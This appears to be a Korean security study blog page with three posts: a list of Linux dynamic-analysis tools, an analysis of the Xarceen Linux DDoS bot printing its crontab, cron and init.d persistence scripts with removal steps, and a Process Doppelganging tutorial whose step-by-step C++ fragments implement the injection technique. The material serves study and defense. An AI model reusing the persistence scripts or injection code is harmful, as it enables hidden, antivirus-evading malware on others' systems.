Kali-KM_Security Study

Monitoring Tool

Strace 를 이용한 동작 확인 및 모니터링

의존성 문제로 인해 OS 별로 실행되지 않는 경우가 빈번할 수 있다. 이를 위해 해당 OS 에서 동작하는지 빠르게 확인하기 위해 사용하는 방법으로 Strace 가 존재한다.

아래 예시는 strace 로 "ls" 를 실행한 결과이다. 마지막에 exited with 0 으로 정상적으로 종료가 되었음을 확인 할 수 있다.

remnux@remnux:~/Desktop$ strace ls
execve("/bin/ls", ["ls"], [/* 68 vars */]) = 0
brk(0)                                  = 0xbc1000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=107852, ...}) = 0
mmap(NULL, 107852, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f5b620e9000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libselinux.so.1", O_RDONLY|O_CLOEXEC) = 3
...........
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5b62103000
write(1, "linux_server  REMnux Cheat Sheet"..., 66linux_server  REMnux Cheat Sheet  REMnux Docs  REMnux Tools Sheet
) = 66
close(1)                                = 0
munmap(0x7f5b62103000, 4096)            = 0
close(2)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++


Sysdig 를 이용한 모니터링
다양한 필터를 가지고 있으며, Windows 의 Procmon 같은 녀석




Network 관련 도구

WireShark 를 통한 네트워크 패킷 분석



netstat -anp 를 통해 네트워크 연결 상태 조회



Windows 의 TCPView 와 같은 명렁어
$ watch -pn 0.1 "netstat -nap"




Process 관련 도구

ps -e -f | grep ~~~


pstree



Gnome-System-monitor



htop




'Reversing > Theory' 카테고리의 다른 글

Linux 동적 분석 Tool  (2) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (0) 2017.03.28
암호학 기초 개념  (2) 2016.11.23

Comment +2

개요

기본적인 파일 정보는 아래와 같다.

File Name : U******9
Diag Name : Linux/Xarceen.Gen

Linux "file" 명령어를 통한 결과는 아래와 같다.  굵게 표시한 부분들을 통해 각각 32bit ELF 파일, 정적으로 컴파일, 스트립 되지 않은 파일임을 확인 할 수 있다.
remnux@remnux:~/sample$ file U******9
UpTip999: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped


요약

해당 악성코드는 공격자에 의해 감염 후, 원격지와 통신을 수행한다. 이 통신을 통해 공격하고자 하는 대상의 IP 주소를 얻어온다. 그 후 대량의 Packet 을 대상 주소로 전송하는 악성코드이다.





분석

자가 복사

해당 샘플의 경우 대상 환경에서의 지속성을 향상시키기 위하여 자기 자신을 복사한다. 복사되는 경로는 아래와 같다.
  • /usr/bin/{random_filename}
  • /bin/{random_filename}
  • /tmp/{random_filename}
  • /lib/libudev4.so



지속성 유지
추가적으로 악성 샘플을 다시 실행시키기 위해 '/etc/crontab' 파일을 변조한다. crontab 파일은 Windows 의 작업 스케쥴러와 같은 역할을 하며, 맨 마지막 줄의 내용이 추가된 것을 확인 할 수 있다. 해당 내용은 3분 마다 /etc/cron.hourly/gcc4.sh 를 실행하는 것이다.

remnux@remnux:~/test$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/3 * * * * root /etc/cron.hourly/gcc4.sh


gcc4.sh 는 상기에 설명한 바와 같이 복사한 자기 자신(/lib/libudev4.so) 을 libude4.so.6 라는 이름으로 복사 후 실행시키는 내용이다.

remnux@remnux:~/test$ cat /etc/cron.hourly/gcc4.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
cp /lib/libudev4.so /lib/libudev4.so.6
/lib/libudev4.so.6


/etc/init.d 에도 Random 한 이름을 파일을 생성한다. 

remnux@remnux:~/test$ cat /etc/init.d/{random_filename}
#!/bin/sh
# chkconfig: 12345 90 90
# description:{random_filename}
### BEGIN INIT INFO
# Provides:{random_filename}
# Required-Start:
# Required-Stop:
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: {random_filename}
### END INIT INFO
case $1 in
start)
/usr/bin/{random_filename}
;;
stop)
;;
*)
/usr/bin/{random_filename}
;;
esac


또한 "/etc/rc*.d" 경로 밑에 S90{random_filename} 의 형태로 위의 "/etc/init.d/{random_filename}" 을 가리키는 Link 파일을 생성한다. 여기서 rc*.d 폴더는 부팅 레벨에 따라, 각각의 부팅 레벨 폴더에 있는 파일들을 자동으로 실행하는 경로이다.



네트워크 (DDoS)

아래 주소를 DNS 요청으로 얻어오며, TCP Packet 과 UDP Packet 을 전송하는 것을 확인 할 수 있다. 해당 주소로부터 공격 대상에 대한 IP 주소를 받아온다.
  • 114.***.***.114 ; 중국의 네임 서버
  • 137.***.***.224 ; 원격지 주소 (공격 대상의 주소를 얻어옴)


원격지와의 통신을 통해 암호화 된 공격 대상의 IP 주소를 받아온다. 그 후 encrypt_code 부분을 통해 XOR 연산을 하여 해당 내용을 복호화 한다. 분석 당시ㅡ복호화 된 내용을 보면 0xc******8 로 IP 주소 104.***.***.203 을 가리키고 있다.


공격 대상의 주소를 가지고 온 뒤, 아래와 같이 대상 주소에 수 많은 패킷을 보낸다. 과도한 Packet 전송 동작 등을 보아 DDoS 공격 행위로 추정된다.


분석 당시ㅡ공격 대상이 되는 곳에 대해 조사한 결과, 아래와 같이 SharkTech 라는 곳을 알 수 있었다. 또한 대상은 DDoS 보호 서비스와 관련 된 사이트임을 알 수 있다.



기타
# 1
실행 시 자신을 Background 에서 실행되도록 한다.



#2
통신 중 지정 된 신호를 받을 경우 다운로드 동작을 수행 할 수 있다. 다운로드 주소는 공격자가 지정 할 수 있으며, 다운로드 완료 후 해당 파일을 실행한다.



#3
해당 샘플이 통신하는 dns.bbgbbg.top 의 경우 Whois 결과가 아래와 같다. 이는 whois guard 에 의해 보호된 주소임을 알 수 있다.

Domain Name: b****g.t*p
Registry Domain ID: D20160920G10001G_81549331-top
Registrar WHOIS Server: whois.namecheap.com
Updated Date: 2016-09-20T00:04:28Z
Creation Date: 2016-09-20T00:04:24Z
Registry Expiry Date: 2020-09-20T00:04:24Z
Registrar: Namecheap Inc.
Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: C20160920C_09331172-top
Registrant Name: WhoisGuard Protected
Registrant Organization: WhoisGuard, Inc.
Registrant Street: P.O. Box 0823-03411
Registrant City: Panama
Registrant State/Province: Panama
Registrant Postal Code: 0
Registrant Country: PA
Registrant Phone: +507.8365503
Registrant Phone Ext:
Registrant Fax: +51.17057182
Registrant Fax Ext:
Registry Admin ID: C20160920C_09331173-top
Admin Name: WhoisGuard Protected
Admin Organization: WhoisGuard, Inc.


#4
지속적으로 랜덤한 문자열을 생성 후, "/lib/libudev4.so" 를 해당 이름으로 복사한다. 그리고 한번에 5개씩 해당 이름으로 프로세스를 생성한다.  하기의 동작은 반복적으로 이루어지기 때문에, 반복적으로 생성&소멸 된다.


이 때,  기존의 랜덤한 이름의 또 다른 자기 자신은 아래와 같이 삭제한다.



#5
프로세스의 도입부에서 아래의 문자열을 복호화한다.
cat resolv.conf
sh
bash
su
ps -ef
ls
ls -la
top
netstat -an
netstat -an
top
grep "A"
sleep 1
cd /etc
echo "find"
ifconfig eth0
ifconfig
route -n
gnome-terminal
id
who
whoami
pwd
uptime

복호화 된 문자들은 아래와 같이 execve 명령을 통해 악성프로세스의 인자로 주어지게 된다.






대응 방안

프로세스 종료

동작 중인 프로세스에 대해 종료해야 한다. 종료하고자 하는 프로세스의 이름은 아래와 같은 형태이며, 동일한 이름을 가진 5개의 프로세스와, 자식-부모 관계를 갖고 있는 4개의 프로세스를 추가로 삭제해야 한다.
  • {random_10_chrar_filename}

파일 삭제
악성코드가 감염 환경에서의 지속성을 유지하기 위한 요소들을 제거해야 한다.
  • /usr/bin/{random_filename}
  • /bin/{random_filename}
  • /tmp/{random_filename}
  • /etc/rc*.d/S90{{random_filename}
  • /etc/init.d/{random_filename}
  • /etc/cron.hourly/gcc4.sh


고려 사항

  • 잔여 프로세스가 계속 실행되고 있음ㅡ아마 잔여프로세스가 새로운 이름으로 원본 파일을 실행할 것으로 추정
  • crontab 에 의해 3분마다 다시 프로세스 실행
  • 이와 같은 경우 Windows 라면 메모리 진단 및 치료를 수행, 하지만 수동 치료의 경우에는?


Comment +0

Overview

2017년 말에 발표된 새로운 공격 기법으로, 기존의 Injection 방식과는 다른 방식을 사용한다. 특징은 아래와 같다.

  • 파일 기반 탐지 방식 위주의 백신사가 대부분 탐지하지 못하는 공격 기법
  • NTFS 의 Transaction 기능을 이용한다는 점

공격 가능한 대상은 아래와 같다.
  • Windows Vista 부터 Windows 10 이전 (Windows 10 에서는 BSoD 발생)

기존의 잘 알려진 방식의 공격 기법으로는 아래와 같다.
  • Process 를 Creation Flag - Suspended 상태로 생성 후 Payload 내용으로 교체
  • 원격 스레드를 생성하여 Payload 실행

하지만 Process Doppelganging 공격의 핵심은 NTFS 의 Transaction 기능을 이용하는 것이다. Windows NTFS 에서 Transactions 는 하나의 작업 단위로 묶은 것으로, 쉽게 말해 발생한 동작들을 구분하여 저장하는 것이다. 그리고 필요할 경우 이 구분 된 동작의 과정을 되돌리는 것이다. 

// 아래에서 설명할 Code 는 이해를 쉽게 하기 위해 2 개를 혼용한 것이다. 정확한 동작 Code 가 궁금하다면, Reference 의 PoC Code 1, 2 를 보면 된다.


Execute

악성 파일을 생성 후 실행할 때, File I/O 를 Transaction 로 열고 Commit 이 아닌 Rollback 을 한다. 이로 인해 OS 에서는 파일이 생성되지 않은 것이 된다.

사용되는 API 는 아래와 같다.

CreateTransaction
CreateFileTransacted
WriteFile
NtCreateSection
RollBackTransaction
NtCreateProcessEx

필자가 아래와 같이 임의로 5 단계로 나누어 설명할 것이다

Step 1 : open a transaction file i/o
Step 2 : load a payload section from dummy file
Step 3 : create a process
Step 4 : setting PEB
Step 5 : Update PEB and create a primary thread



Step 1 
Transaction File I/O 를 생성하기 위해 먼저, Transaction Object 를 생성한다.

HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
if (hTransaction == INVALID_HANDLE_VALUE) {


    std::cerr << "Failed to create transaction!" << std::endl;
    return false;
}

생성한 Transaction Object 를 가지고 Transaction 가능한 File I/O 를 생성한다. 여기서 생성할 File 은 어차피 저장되지 않을 Dummy 파일이다. 

HANDLE hTransactedFile = CreateFileTransactedW(dummy_name,

    GENERIC_WRITE | GENERIC_READ,
    0,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL,
    hTransaction,
    NULL,
    NULL
);
if (hTransactedFile == INVALID_HANDLE_VALUE) {

    std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
    return false;

}

DWORD writtenLen = 0;
if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) {
    std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
    return false;

}


Step 2
생성한 더미 파일을 가지고 새로운 Section 을 만들어준다. 이 때 생성한 Section 은 뒤에서 새로운 Process 의 Base 가 된다.

HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection,
    SECTION_ALL_ACCESS,
    NULL,
    0,
    PAGE_READONLY,
    SEC_IMAGE,
    hTransactedFile
);
if (status != STATUS_SUCCESS) {


    std::cerr << "NtCreateSection failed" << std::endl;
      return false;
}

Dummy File 의 내용을 Section 에 Load 하였으므로, 더 이상 Dummy File 은 쓸모 없다. 이제 Transaction 을 Rollback 해주어 Disk 에 Data 가 남지 않게 한다.

CloseHandle(hTransactedFile);
hTransactedFile = nullptr;
if (RollbackTransaction(hTransaction) == FALSE) {


    std::cerr << "RollbackTransaction failed: " << GetLastError() << std::endl;
    return false;
}
CloseHandle(hTransaction);
hTransaction = nullptr;


Step 3
상기의 과정을 통해 Dummy File 로부터 만든 Section 이 존재하며, Dummy File 은 Disk 에 존재하지 않는 상태이다. 이제 Process 를 생성할 것이다. 여기서 일반적으로 Process 를 생성할 때 사용하는 API 는 아래와 같다.

  • CreateProcess
  • WinExec
  • ShellExecute

위 세 가지는 공통적으로 대상 파일의 이름(Path) 을 요구한다. 하지만, Dummy File 은 이미 남아있지 않은 상태이며, 해당 Payload 가 담긴 Section 만이 존재한다. 이를 해결하기 위해 프로세스 생성 과정의 내부를 좀 더 자세히 보면 NtCreateProcessEx 함수가 호출 되는 것을 알 수 있다. 해당 API 는 파일 경로가 아닌 PE 이미지 내용이 담긴 Section 을 필요로 한다.

typedef NTSTATUS(NTAPI *fpNtCreateProcessEx)


{
    OUT PHANDLE           ProcessHandle,
    IN ACCESS_MASK        DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE             ParentProcess,
    IN ULONG              Flags,
    IN HANDLE             SectionHandle OPTIONAL,
    IN HANDLE             DebugPort         OPTIONAL,
    IN HANDLE             ExceptionPort OPTIONAL,
    IN BOOLEAN            InJob
}; 






다시 말해, NtCreateProcessEx 함수와 Dummy File 로부터 생성한 Section 을 가지고 새로운 프로세스를 실행할 수 있게 된다.

HANDLE hProcess = nullptr;

status = NtCreateProcessEx(
    &hProcess, //ProcessHandle
    PROCESS_ALL_ACCESS, //DesiredAccess
    NULL, //ObjectAttributes
    NtCurrentProcess(), //ParentProcess
    PS_INHERIT_HANDLES, //Flags
    hSection, //sectionHandle
    NULL, //DebugPort
  NULL,               //ExceptionPort
    FALSE               //InJob
);
if (status != STATUS_SUCCESS) {
    std::cerr << "NtCreateProcessEx failed" << std::endl;

    return false;
}



Step 4
프로세스의 전체적인 Base 를 만들어 준 뒤, 실제 동작할 수 있도록 몇 가지 설정(Parameter, PEB, ETC.)을 직접 해주어야 한다.  우선 새로 생성한 Process 의 PEB 에 접근하여 ImageBase 를 가지고 온 뒤, Step 1 에서의 Payload Buffer 로부터 AddressOfEntryPoint 를 읽어와 더한다.


status = NtQueryInformationProcess(
    hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(PROCESS_BASIC_INFORMATION),
    &ReturnLength
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtQueryInformationProcess failed");

    break;
}

status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtReadVirtualMemory failed");
break;
}

EntryPoint = (ULONG_PTR)RtlImageNtHeader(payladBuf))->OptionalHeader.AddressOfEntryPoint;
EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;

public struct ProcessBasicInformation {
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public UIntPtr InheritedFromUniqueProcessId;
}

 
Process 의 겉모양은 만들어졌지만, 아직 어떠한 프로세스의 이름을 갖는지 등에 대한 정보가 존재하지 않는다. 이러한 Process 의 Parameter 를 설정해주기 위하여 Parameter Block 을 만든다.

//
// Create process parameters block.
//
RtlInitUnicodeString(&ustr, lpTargetApp);
status = RtlCreateProcessParametersEx(
    &ProcessParameters,    // pointer to parameter block.
    &ustr,
    NULL,
    NULL,
    &ustr,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"RtlCreateProcessParametersEx failed");
    break;
}

가지고 온 Parameter Block 을 생성한 Process 에 공간을 할당 후 기록해준다.

//
// Allocate memory in target process and write process parameters block.
//
sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
MemoryPtr = ProcessParameters;
status = NtAllocateVirtualMemory(hProcess,
    &MemoryPtr,
    0,
    &sz,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed");
    break;
}
sz = 0;
status = NtWriteVirtualMemory(hProcess,
    ProcessParameters,     // target memory address
    ProcessParameters,     // buffer
    ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
&sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed");
    break;
}


Step 5
마지막 단계에서는 위에서 만든 설정들을 실제 PEB 에 연결시킨다.

//
// Update PEB->ProcessParameters pointer to newly allocated block.
//
Peb = pbi.PebBaseAddress;
status = NtWriteVirtualMemory(hProcess,
    &Peb->ProcessParameters,
    &ProcessParameters,
    sizeof(PVOID),
    &sz
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed");
    break;
}

최종적으로 동작을 실행할 Thread 를 만들어준다.

//
// Create primary thread.
//
hThread = NULL;
status = NtCreateThreadEx(&hThread,
    THREAD_ALL_ACCESS,
    NULL,
    hProcess,
    (LPTHREAD_START_ROUTINE)EntryPoint,
    NULL,
    FALSE,
    0,
    0,
    0,
    NULL
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed");
    break;


Conclusion

잘 알려진 다른 공격기법에 비해 다소 생소한 API 와 번거로운 과정을 거쳐야 한다는 것을 알 수 있다. 그렇다고 어려운 과정은 아니다. 보안 공부를 하는 입장에서 이러한 기법에 대해 알고 대응 할 수 있도록 해야한다.



Reference

Blog


Source Code
Git - PoC Code 1
Git - PoC Code 2

News





'Reversing > Theory' 카테고리의 다른 글

Linux 동적 분석 Tool  (2) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (0) 2017.03.28
암호학 기초 개념  (2) 2016.11.23

Comment +0